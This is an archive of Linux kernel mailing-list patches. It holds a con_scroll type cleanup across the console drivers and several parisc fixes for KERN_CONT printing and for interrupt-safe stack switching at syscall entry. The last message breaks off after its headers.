The patch will show up in the next release of the linux-next tree
(usually sometime within the next 24 hours during the week.)

The patch will also be merged in the next major kernel release
during the merge window.

If you have any questions about this process, please let me know.


>From d705ff38189fcfbbfa6aa97363d30c23348ad166 Mon Sep 17 00:00:00 2001
From: Jiri Slaby <jslaby@suse.cz>
Date: Mon, 3 Oct 2016 11:18:33 +0200
Subject: tty: vt, cleanup and document con_scroll

Scrolling helpers scrup and scrdown both accept 'top' and 'bottom' as
unsigned int. Number of lines 'nr' is accepted as int, but all callers
pass down unsigned too. So change the type of 'nr' to unsigned too.
Now, promote unsigned int from the helpers up to the con_scroll
hook which actually accepted all those as signed int.

Next, the 'dir' parameter can have only two values and we define
constants for that: SM_UP and SM_DOWN. Switch them to enum and do
proper type checking on 'dir' too.

Finally, document the behaviour of the hook.

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Thomas Winischhofer <thomas@winischhofer.net>
Cc: Tomi Valkeinen <tomi.valkeinen@ti.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: <linux-fbdev@vger.kernel.org>
Cc: <linux-usb@vger.kernel.org>
Cc: <linux-parisc@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
 drivers/tty/vt/vt.c                     |  6 ++++--
 drivers/usb/misc/sisusbvga/sisusb_con.c | 18 ++++++++++--------
 drivers/video/console/fbcon.c           | 18 ++++++++----------
 drivers/video/console/mdacon.c          |  7 ++++---
 drivers/video/console/newport_con.c     |  8 ++++----
 drivers/video/console/sticon.c          |  7 ++++---
 drivers/video/console/vgacon.c          | 12 +++++-------
 include/linux/console.h                 | 16 +++++++++++-----
 8 files changed, 50 insertions(+), 42 deletions(-)

diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c
index 06fb39c1d6dd..c4bf96fee32e 100644
--- a/drivers/tty/vt/vt.c
+++ b/drivers/tty/vt/vt.c
@@ -315,7 +315,8 @@ void schedule_console_callback(void)
 	schedule_work(&console_work);
 }
 
-static void scrup(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
+static void scrup(struct vc_data *vc, unsigned int t, unsigned int b,
+		unsigned int nr)
 {
 	unsigned short *d, *s;
 
@@ -332,7 +333,8 @@ static void scrup(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
 		    vc->vc_size_row * nr);
 }
 
-static void scrdown(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
+static void scrdown(struct vc_data *vc, unsigned int t, unsigned int b,
+		unsigned int nr)
 {
 	unsigned short *s;
 	unsigned int step;
diff --git a/drivers/usb/misc/sisusbvga/sisusb_con.c b/drivers/usb/misc/sisusbvga/sisusb_con.c
index 460cebf322e3..6331965daa0b 100644
--- a/drivers/usb/misc/sisusbvga/sisusb_con.c
+++ b/drivers/usb/misc/sisusbvga/sisusb_con.c
@@ -808,9 +808,10 @@ sisusbcon_cursor(struct vc_data *c, int mode)
 	mutex_unlock(&sisusb->lock);
 }
 
-static int
+static bool
 sisusbcon_scroll_area(struct vc_data *c, struct sisusb_usb_data *sisusb,
-					int t, int b, int dir, int lines)
+		unsigned int t, unsigned int b, enum con_scroll dir,
+		unsigned int lines)
 {
 	int cols = sisusb->sisusb_num_columns;
 	int length = ((b - t) * cols) * 2;
@@ -852,8 +853,9 @@ sisusbcon_scroll_area(struct vc_data *c, struct sisusb_usb_data *sisusb,
 }
 
 /* Interface routine */
-static int
-sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
+static bool
+sisusbcon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	struct sisusb_usb_data *sisusb;
 	u16 eattr = c->vc_video_erase_char;
@@ -870,17 +872,17 @@ sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 	 */
 
 	if (!lines)
-		return 1;
+		return true;
 
 	sisusb = sisusb_get_sisusb_lock_and_check(c->vc_num);
 	if (!sisusb)
-		return 0;
+		return false;
 
 	/* sisusb->lock is down */
 
 	if (sisusb_is_inactive(c, sisusb)) {
 		mutex_unlock(&sisusb->lock);
-		return 0;
+		return false;
 	}
 
 	/* Special case */
@@ -971,7 +973,7 @@ sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 
 	mutex_unlock(&sisusb->lock);
 
-	return 1;
+	return true;
 }
 
 /* Interface routine */
diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c
index b87f5cfdaea5..a44f5627b82a 100644
--- a/drivers/video/console/fbcon.c
+++ b/drivers/video/console/fbcon.c
@@ -164,8 +164,6 @@ static void fbcon_putcs(struct vc_data *vc, const unsigned short *s,
 			int count, int ypos, int xpos);
 static void fbcon_clear_margins(struct vc_data *vc, int bottom_only);
 static void fbcon_cursor(struct vc_data *vc, int mode);
-static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
-			int count);
 static void fbcon_bmove(struct vc_data *vc, int sy, int sx, int dy, int dx,
 			int height, int width);
 static int fbcon_switch(struct vc_data *vc);
@@ -1795,15 +1793,15 @@ static inline void fbcon_softback_note(struct vc_data *vc, int t,
 	softback_curr = softback_in;
 }
 
-static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
-			int count)
+static bool fbcon_scroll(struct vc_data *vc, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int count)
 {
 	struct fb_info *info = registered_fb[con2fb_map[vc->vc_num]];
 	struct display *p = &fb_display[vc->vc_num];
 	int scroll_partial = info->flags & FBINFO_PARTIAL_PAN_OK;
 
 	if (fbcon_is_inactive(vc, info))
-		return -EINVAL;
+		return true;
 
 	fbcon_cursor(vc, CM_ERASE);
 
@@ -1831,7 +1829,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							(b - count)),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 			break;
 
 		case SCROLL_WRAP_MOVE:
@@ -1903,7 +1901,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							(b - count)),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 		}
 		break;
 
@@ -1922,7 +1920,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							t),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 			break;
 
 		case SCROLL_WRAP_MOVE:
@@ -1992,10 +1990,10 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							t),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 		}
 	}
-	return 0;
+	return false;
 }
 
 
diff --git a/drivers/video/console/mdacon.c b/drivers/video/console/mdacon.c
index bacbb044d77c..ec192a1bf297 100644
--- a/drivers/video/console/mdacon.c
+++ b/drivers/video/console/mdacon.c
@@ -488,12 +488,13 @@ static void mdacon_cursor(struct vc_data *c, int mode)
 	}
 }
 
-static int mdacon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
+static bool mdacon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	u16 eattr = mda_convert_attr(c->vc_video_erase_char);
 
 	if (!lines)
-		return 0;
+		return false;
 
 	if (lines > c->vc_rows)   /* maximum realistic size */
 		lines = c->vc_rows;
@@ -514,7 +515,7 @@ static int mdacon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 		break;
 	}
 
-	return 0;
+	return false;
 }
 
 
diff --git a/drivers/video/console/newport_con.c b/drivers/video/console/newport_con.c
index e3b9521e4ec3..1e11614322fe 100644
--- a/drivers/video/console/newport_con.c
+++ b/drivers/video/console/newport_con.c
@@ -574,8 +574,8 @@ static int newport_font_set(struct vc_data *vc, struct console_font *font, unsig
 	return newport_set_font(vc->vc_num, font);
 }
 
-static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
-			  int lines)
+static bool newport_scroll(struct vc_data *vc, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	int count, x, y;
 	unsigned short *s, *d;
@@ -595,7 +595,7 @@ static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 					    (vc->vc_color & 0xf0) >> 4);
 		}
 		npregs->cset.topscan = (topscan - 1) & 0x3ff;
-		return 0;
+		return false;
 	}
 
 	count = (b - t - lines) * vc->vc_cols;
@@ -670,7 +670,7 @@ static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 			}
 		}
 	}
-	return 1;
+	return true;
 }
 
 static int newport_dummy(struct vc_data *c)
diff --git a/drivers/video/console/sticon.c b/drivers/video/console/sticon.c
index 3a10ac19598f..79c9bd8d3025 100644
--- a/drivers/video/console/sticon.c
+++ b/drivers/video/console/sticon.c
@@ -153,12 +153,13 @@ static void sticon_cursor(struct vc_data *conp, int mode)
     }
 }
 
-static int sticon_scroll(struct vc_data *conp, int t, int b, int dir, int count)
+static bool sticon_scroll(struct vc_data *conp, unsigned int t,
+		unsigned int b, enum con_scroll dir, unsigned int count)
 {
     struct sti_struct *sti = sticon_sti;
 
     if (vga_is_gfx)
-        return 0;
+        return false;
 
     sticon_cursor(conp, CM_ERASE);
 
@@ -174,7 +175,7 @@ static int sticon_scroll(struct vc_data *conp, int t, int b, int dir, int count)
 	break;
     }
 
-    return 0;
+    return false;
 }
 
 static void sticon_init(struct vc_data *c, int init)
diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c
index 11576611a974..4c54a873452e 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -83,8 +83,6 @@ static int vgacon_blank(struct vc_data *c, int blank, int mode_switch);
 static void vgacon_scrolldelta(struct vc_data *c, int lines);
 static int vgacon_set_origin(struct vc_data *c);
 static void vgacon_save_screen(struct vc_data *c);
-static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
-			 int lines);
 static void vgacon_invert_region(struct vc_data *c, u16 * p, int count);
 static struct uni_pagedir *vgacon_uni_pagedir;
 static int vgacon_refcount;
@@ -1350,17 +1348,17 @@ static void vgacon_save_screen(struct vc_data *c)
 			    c->vc_screenbuf_size > vga_vram_size ? vga_vram_size : c->vc_screenbuf_size);
 }
 
-static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
-			 int lines)
+static bool vgacon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	unsigned long oldo;
 	unsigned int delta;
 
 	if (t || b != c->vc_rows || vga_is_gfx || c->vc_mode != KD_TEXT)
-		return 0;
+		return false;
 
 	if (!vga_hardscroll_enabled || lines >= c->vc_rows / 2)
-		return 0;
+		return false;
 
 	vgacon_restore_screen(c);
 	oldo = c->vc_origin;
@@ -1396,7 +1394,7 @@ static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
 	c->vc_visible_origin = c->vc_origin;
 	vga_set_mem_top(c);
 	c->vc_pos = (c->vc_pos - oldo) + c->vc_origin;
-	return 1;
+	return true;
 }
 
 
diff --git a/include/linux/console.h b/include/linux/console.h
index 3672809234a7..508b012bd5bd 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -28,9 +28,17 @@ struct tty_struct;
 #define VT100ID "\033[?1;2c"
 #define VT102ID "\033[?6c"
 
+enum con_scroll {
+	SM_UP,
+	SM_DOWN,
+};
+
 /**
  * struct consw - callbacks for consoles
  *
+ * @con_scroll: move lines from @top to @bottom in direction @dir by @lines.
+ *		Return true if no generic handling should be done.
+ *		Invoked by csi_M and printing to the console.
  * @con_set_palette: sets the palette of the console to @table (optional)
  * @con_scrolldelta: the contents of the console should be scrolled by @lines.
  *		     Invoked by user. (optional)
@@ -44,7 +52,9 @@ struct consw {
 	void	(*con_putc)(struct vc_data *, int, int, int);
 	void	(*con_putcs)(struct vc_data *, const unsigned short *, int, int, int);
 	void	(*con_cursor)(struct vc_data *, int);
-	int	(*con_scroll)(struct vc_data *, int, int, int, int);
+	bool	(*con_scroll)(struct vc_data *, unsigned int top,
+			unsigned int bottom, enum con_scroll dir,
+			unsigned int lines);
 	int	(*con_switch)(struct vc_data *);
 	int	(*con_blank)(struct vc_data *, int, int);
 	int	(*con_font_set)(struct vc_data *, struct console_font *, unsigned);
@@ -99,10 +109,6 @@ static inline int con_debug_leave(void)
 }
 #endif
 
-/* scroll */
-#define SM_UP       (1)
-#define SM_DOWN     (2)

From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use KERN_CONT for printing device inventory
Date: Fri, 28 Oct 2016 20:56:07 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20161028185607.GA3466@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477681020 21152 195.159.176.226 (28 Oct 2016 18:57:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2016 18:57:00 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 28 20:56:56 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0CKV-0003Lr-6Z
	for glpp-linux-parisc@m.gmane.org; Fri, 28 Oct 2016 20:56:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1034331AbcJ1S4Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 28 Oct 2016 14:56:24 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:53761 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1030840AbcJ1S4V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 28 Oct 2016 14:56:21 -0400
Original-Received: from ls3530.box ([92.203.32.229]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0Ma1tv-1cKK8Z0xDz-00Ll2F; Fri, 28 Oct 2016 20:56:12
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:8Q6gBysKyJ0z9UY8G4Tdy8KgrtudRHsu7Kc1fkavDWERK6zzhKr
 5dYzmgth+gyggExd9MMHWjflMTyKFKE2e7v+XjyeBm7OA2zODlRtRGhIJZSkenHnJAcfBKu
 lJmSZAN0dYmdWkM42o/teMCNnEqECWON+iDjLg3fsYIyIWh/4I3fCJYf0GWZPNe9fMMuXU0
 /HuNg77s2RRWjM8Z0ju8g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fsA0r+1AUg8=:FtHwuTazKzL/BPVCt5ZfMM
 fNpTNBetWk5yVRxwGRCXYQxGnd69Rq9Ng333FQy4dBTzlE7oCjjyG0YCZ4Uj8h/B0h3crAI9s
 WUplxJS3FF8pFJAdsn0lIgh84o0uxfI9eHekCeNxdA5i3I9dc8cbBXpbrGWH6/sfq47yAkSBK
 b5gbSry+SQCyIDVNRJOxo4MR0X1/2tItHUaF5kf3HUNSa+jYtIS3s+iMqHd63cH+7Zwwxlxk4
 moJBBnKm4opQ1spAwdJg0yPasBbenufyvr93BD3e93K98XPoXrAaIh0mrUrYBZzNd3tIocr6I
 sKD9Lhcl2KGxy0elwE8L/KpfD1qPFqAfa+8Ibs5mwCrFW/3OFukR8hNy2wT8D5PIAvvchzSEe
 MDyVv0lY9d+fKAsx+9UtGk5uPMP9xfrdqTf6jn89dXnhxq/51rU8pueo+eGzNVDeEv0qmlkoc
 Qpr6KDFNFPXJ0RwxpeBqFAD6IXWVEUBffklRnmj54Miwovhm1tok7iCGIILPEMdbZbg5FhIBL
 cOi1anRpGegw6/IpIuTzsz1psOBBkhBVtNu3QT8rnetbE1d9hROtPPY8TwXz9GzVv95hpYhb2
 al4TtJSqgK7MMmQZOYX0Ul7n9tWoU9gyEuA9qjnhpCJ9BFh5POUBES8z549aTiQocg3l/4cbI
 gQXUTIso9pvuYfMmc7v8ldCnwEMsbq1PqobPGQR76mkbT4Jd4mAO99tSupUCkQvUHaOQgXXQL
 ekyKdQ9G/QF4qNOWEXD8ND3d1ks8cESjyqqhpjlDtmdE+c/u8iu1gqowXmY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27021>

Recent changes to printk require KERN_CONT uses to continue logging messages.
So add KERN_CONT to output of device inventory.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index f815066..700e2d2 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -873,11 +873,11 @@ static void print_parisc_device(struct parisc_device *dev)
 
 	if (dev->num_addrs) {
 		int k;
-		printk(", additional addresses: ");
+		pr_cont(", additional addresses: ");
 		for (k = 0; k < dev->num_addrs; k++)
-			printk("0x%lx ", dev->addr[k]);
+			pr_cont("0x%lx ", dev->addr[k]);
 	}
-	printk("\n");
+	pr_cont("\n");
 }
 
 /**
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Ensure consistent state when switching to kernel
 stack at syscall entry
Date: Fri, 28 Oct 2016 22:04:14 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <20161028200414.GA20703@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477685084 7782 195.159.176.226 (28 Oct 2016 20:04:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2016 20:04:44 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 28 22:04:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0DOA-00008l-FN
	for glpp-linux-parisc@m.gmane.org; Fri, 28 Oct 2016 22:04:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1761275AbcJ1UEb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 28 Oct 2016 16:04:31 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61191 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756160AbcJ1UEZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 28 Oct 2016 16:04:25 -0400
Original-Received: from ls3530.box ([92.203.32.229]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0M7pku-1cmYoj2NIe-00vN0y; Fri, 28 Oct 2016 22:04:17
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:DWJczpIJVDxobRdeb54EuZXb9NzdWewd82oyiOmhJonMp4mdq86
 nr3cl/WzCMn2BZlwbsfgr2tFDgXndX64vg8TxfcLeUNHysqu2RBuC6Vrypg5ap1QOnHp+36
 iNY3W3RNnY4PcNFUGwV+dMfKmBd9T6leg9OlGUFslIf+G0gcdoZZinc/+/EZ+f7peN/dvH0
 nInCUOrSeVlDcY6gAK3Vw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FClFW/zVlXE=:1QLc8pHSjeZnGmQbqt8XM1
 Qqo2WRuV1DNDj+cluROZbALS09w3pNpmugyhwc7he+UPV1zhGimERKZLxwc5336M6yQg/pWPw
 0ZtfU3tc+jg5auS+bdrU1vMZ60B5NZIGfp44DUkFoOrH9tBjpYMBf8goYmmY7ghkZFiD+VdDZ
 m0/XIQhW1VHDynovX/EVAEr0mNR1w8+8gQ2lkCepcAJ3VmAvSHw6qIEMps2t0l3W4ABS8FzSP
 R9zl5FoK/Fpv+gx/deqQjLHK82Sk+PuP2BbNdDIVBeod/v9hfv0+QnbrUQHQvTDm4VlWzrZuz
 NYbsvTvu8zSriMlo5G3h+kooJeo4iWERw9PvC8rFavpAQv6r+SxsYeooN4CTXHAGEQQHJFUj6
 lI0kTXoIdEjXBYP8rJYMQDuJUYv1Jtcft6PUxyWkLpkZCMT3APfWGBQG/bzfoXXEBahxeHl+f
 jzoJiQEdtV75FxIyNAC0cvqM1khskgPwv/HHpEVjf1TLTlsp4HtPQW2Vm1zgG+W3H1CYh6nGW
 GAuPkj6Mx+e3mryRFTpheNlr1QLJwT9tJCrXuxOMEP8h2X+UamdcR5zg1YJPJd13kxirOPHai
 LBznDs3S2OEMt4MLBviyllqhyi6t7+TFUmW/fwnj/J+ieLCspjGYUdhRXXdfKx4VLcAhtBaWu
 N+vXkRzK282gCzy5wh5nzqYfGMduy86xTYFV0iJTVtS3g7ggCRmZi2RuKOyhIasr6qWlHDYjc
 MVtU+4juYfCqAfGJNWzR0ioKcsJUbnF78YFy/0kIm9k/+4vXDzSntLtXxHc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27022>

We have one critical section in the syscall entry path in which we switch from
the userspace stack to kernel stack. In the event of an external interrupt, the
interrupt code distinguishes between those two states by analyzing the value of
sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that
the value of sr7 is in sync with the currently enabled stack.

This patch now disables interrupts while executing the critical section.  This
prevents the interrupt handler to possibly see an inconsitent state which in
the worst case can lead to crashes.

Interestingly, in the syscall exit path interrupts were already disabled in the
critical section which switches back to the userspace stack.

Cc: <stable@vger.kernel.org>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index d03422e..f13836b 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -106,8 +106,6 @@ linux_gateway_entry:
 	mtsp	%r0,%sr4			/* get kernel space into sr4 */
 	mtsp	%r0,%sr5			/* get kernel space into sr5 */
 	mtsp	%r0,%sr6			/* get kernel space into sr6 */
-	mfsp    %sr7,%r1                        /* save user sr7 */
-	mtsp    %r1,%sr3                        /* and store it in sr3 */
 
 #ifdef CONFIG_64BIT
 	/* for now we can *always* set the W bit on entry to the syscall
@@ -134,20 +132,26 @@ linux_gateway_entry:
 1:	
 #endif
 	mfctl   %cr30,%r1
-	xor     %r1,%r30,%r30                   /* ye olde xor trick */
-	xor     %r1,%r30,%r1
-	xor     %r1,%r30,%r30
-	
-	ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel stack */
+	ldo     THREAD_SZ_ALGN+FRAME_SIZE(%r1),%r1  /* set up kernel stack */
 
 	/* N.B.: It is critical that we don't set sr7 to 0 until r30
 	 *       contains a valid kernel stack pointer. It is also
 	 *       critical that we don't start using the kernel stack
-	 *       until after sr7 has been set to 0.
+	 *       until after sr7 has been set to 0. To ensure this we
+	 *       use a rsm/ssm pair to make this operation atomic.
+	 *       At syscall entry %sr2 points to kernel space, otherwise
+	 *       syscalls wouldn't work.
 	 */
+	rsm     PSW_SM_I, %r0			/* turn interrupts off */
+	STREGM	%r30,FRAME_SIZE(%sr2, %r1)	/* save usp on kernel stack */
+	copy    %r1, %r30			/* switch to kernel stack */
+
+	mfsp    %sr7,%r1                        /* get user sr7 */
+	mtsp    %r1,%sr3                        /* store user sr7 in sr3 */
 
 	mtsp	%r0,%sr7			/* get kernel space into sr7 */
-	STREGM	%r1,FRAME_SIZE(%r30)		/* save r1 (usp) here for now */
+	ssm     PSW_SM_I, %r0			/* turn interrupts on */
+
 	mfctl	%cr30,%r1			/* get task ptr in %r1 */
 	LDREG	TI_TASK(%r1),%r1
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Avoid trashing sr2 and sr3 in LWS code
Date: Fri, 28 Oct 2016 22:13:42 +0200
Lines: 166
Approved: news@gmane.org
Message-ID: <20161028201342.GA23048@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477686037 20311 195.159.176.226 (28 Oct 2016 20:20:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Oct 2016 20:20:37 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 28 22:20:32 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c0Ddb-0002Qi-E2
	for glpp-linux-parisc@m.gmane.org; Fri, 28 Oct 2016 22:20:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1761275AbcJ1UUa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 28 Oct 2016 16:20:30 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53629 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756714AbcJ1UU3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 28 Oct 2016 16:20:29 -0400
Original-Received: from ls3530.box ([92.203.32.229]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MHrk1-1c3Fno2nM5-003dfG; Fri, 28 Oct 2016 22:13:45
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:zC6deo1fpm+Bho6DyeTTOX36/uzEZPeg4vok/D1cYK81U+PL3IR
 PNCmJ5Nk7Q7A97ZLkoB4aDO4V2OtQUDY7C5vp0QUZosxnBFwkv8pyiJcG6AXlt9ToFZPPMg
 xqen2mb3zpZ+ykOeEofnfE1BFe9GmsOb5lFTQVywPwcNaZE8FjWkxktJooJkmYbAPJrfE4L
 KTjfxnNvDSlnxMd6MiBpA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:tQMzucZ2vfE=:8YW1sM/BrQnT7W5mmjEQQT
 Wez02CoCj/BtqlgAumb4iwavuRd/Jhx3QmtCJbMdid+NIsRWwaPugTBP6iyEqQteZZQbTiZyX
 +Iay9TOxl34LDS0s4IU8Oz31o8+jECemamwL9mSYqQqbB05yJEkjDoM82ttdRGZ9hgGC8xiZ5
 iCodFS20oSRZomfi/VZVHoghIqClr6NtXjkRH9JVKdLCw/m6rG7Q2mjUFXB9vdPQZQR6FDT+d
 s+u2mlinyxpOmSw1zko7UZEOycZpWUVjBKRVZLylg6YM8L7zqOQ4nJxqzWBY5R7kK/osFvLZC
 wBlZAmTZidhdpzG/96rqa0mYSWI2K5kvLEeRMmvR1jD4kn1tSeT6y8qlU5u77LreekQRBC+2L
 OsWyH5YPgGIFLbZrAlUoajw4h8UmhysZtVFL8WH/TtV4L6/qr5quSfvc2Uv2WiHkTMZoDliF0
 tToCRwDYx9dXv/IgWPWd4+xm51Ad9BxV/vkqO590zsK/SLyOrCRTbleVXUKhMDzsj4oglOvet
 bPiJkplpXRlUvga/ExkRMSE60HcBwCYpY7Q8Z4cRe5ZJAoWp1YfptBNV6gp+9fnNGXv3Cbxx7
 PuQq1ZARuMQRj2BMBejAe9DB74rS7yKuI3OmO7D5nn5rDQiCTQ9fCq4wjaA0zlo5PcRMxFpya
 BM1pKIvGHWLcmNJKD8LMTevf0Udc6/DNelf+Af4sAmlOMsJDiV9l66t0Q18aAq4IIt8ZIY1Qm
